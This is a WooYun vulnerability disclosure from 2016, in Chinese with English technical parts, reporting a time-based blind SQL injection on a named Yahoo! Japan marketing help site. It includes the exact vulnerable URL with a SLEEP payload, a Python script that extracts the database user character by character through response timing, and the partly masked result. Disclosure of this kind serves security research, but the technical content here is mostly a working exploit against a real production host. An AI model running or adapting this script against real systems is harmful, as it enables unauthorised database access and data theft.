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缺陷编号:wooyun-2016-0176307

漏洞标题:Yahoo! Japan Website Time-based Blind SQL Injection Vulnerabilities

相关厂商:Yahoo! Japan

漏洞作者: 猪猪侠

提交时间:2016-02-16 23:51

修复时间:2016-02-22 09:00

公开时间:2016-02-22 09:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(日本国家互联网应急中心(JPCERT/CC))处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-02-16: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Yahoo! Japan Website Time-based Blind SQL Injection Vulnerabilities

详细说明:

#1 DESCRIPTION
Vulnerable website: https://help.marketing.yahoo.co.jp
#2 VULNERABILITY
5 seconds after the web page is successfully opened

https://help.marketing.yahoo.co.jp/ja/?cat=5) AND (SELECT * FROM (SELECT(SLEEP(5)))ring) AND (1=1&s=123

漏洞证明:

#3 EXPLOIT

#!/usr/bin/env python
# encoding: utf-8
# yahoo.jp.py
# ringzero@**.**.**.**
import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,50):
for _str in payloads:
start_time = time.time()
url = "https://help.marketing.yahoo.co.jp/ja/?cat=5) AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))ring) AND (2140=2140&s=123"
result = requests.get(url).text
if(time.time() - start_time) > 4:
print _str
break


#4 Proof of Concept
database user():

wordpresj@**.**.**.**

修复方案:

# before making any kind of request with them must be validated.

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-22 09:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无